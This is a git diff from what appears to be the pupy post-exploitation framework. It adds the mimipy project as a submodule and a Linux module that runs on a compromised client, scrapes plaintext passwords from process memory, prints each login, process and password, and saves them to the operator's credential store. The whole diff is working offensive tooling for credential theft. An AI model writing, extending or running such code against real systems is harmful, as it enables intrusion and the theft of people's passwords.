diff --git a/.gitmodules b/.gitmodules index ad128e7d..fffbbb5d 100644 --- a/.gitmodules +++ b/.gitmodules @@ -28,3 +28,6 @@ [submodule "pupy/external/linux-exploit-suggester"] path = pupy/external/linux-exploit-suggester url = https://github.com/mzet-/linux-exploit-suggester +[submodule "pupy/external/mimipy"] + path = pupy/external/mimipy + url = https://github.com/n1nj4sec/mimipy.git diff --git a/pupy/external/mimipy b/pupy/external/mimipy new file mode 160000 index 00000000..d30f791b --- /dev/null +++ b/pupy/external/mimipy @@ -0,0 +1 @@ +Subproject commit d30f791bb3472bf88364fd7dfc5304aa42bb8705 diff --git a/pupy/modules/mimipy.py b/pupy/modules/mimipy.py new file mode 100644 index 00000000..f019c48b --- /dev/null +++ b/pupy/modules/mimipy.py @@ -0,0 +1,37 @@ +# -*- coding: utf-8 -*- +import os +from pupylib.PupyModule import * +from pupylib.utils.rpyc_utils import obtain +from pupylib.utils.credentials import Credentials + +__class_name__="MimipyMod" + +@config(cat="creds", compat="linux") +class MimipyMod(PupyModule): + """ + Run mimipy to retrieve credentials from memory + """ + dependencies=['memorpy', 'mimipy'] + + def init_argparse(self): + self.arg_parser = PupyArgumentParser(prog='mimipy', description=self.__doc__) + self.arg_parser.add_argument('-v', '--verbose', default=False, action='store_true', help='be more verbose !') + + def run(self, args): + found=False + db = Credentials(client=self.client.short_name(), config=self.config) + + for t, process, u, passwd in self.client.conn.modules['mimipy'].mimipy_loot_passwords(optimizations="nsrx", clean=False): + cred={ + 'Password': passwd, + 'Login': u, + 'Host' : process, + 'Category': 'Mimipy: %s'%t, + 'CredType': 'password' + } + self.success('\n\t'.join(["%s: %s"%(i,v) for i,v in cred.iteritems()])+"\n\n") + db.add([cred]) + found=True + if not found: + self.success("no password found :/") + diff --git a/pupy/packages/linux/all/mimipy.py b/pupy/packages/linux/all/mimipy.py new file mode 120000 index 00000000..a1f4c11a --- /dev/null +++ b/pupy/packages/linux/all/mimipy.py @@ -0,0 +1 @@ +../../../external/mimipy/mimipy.py \ No newline at end of file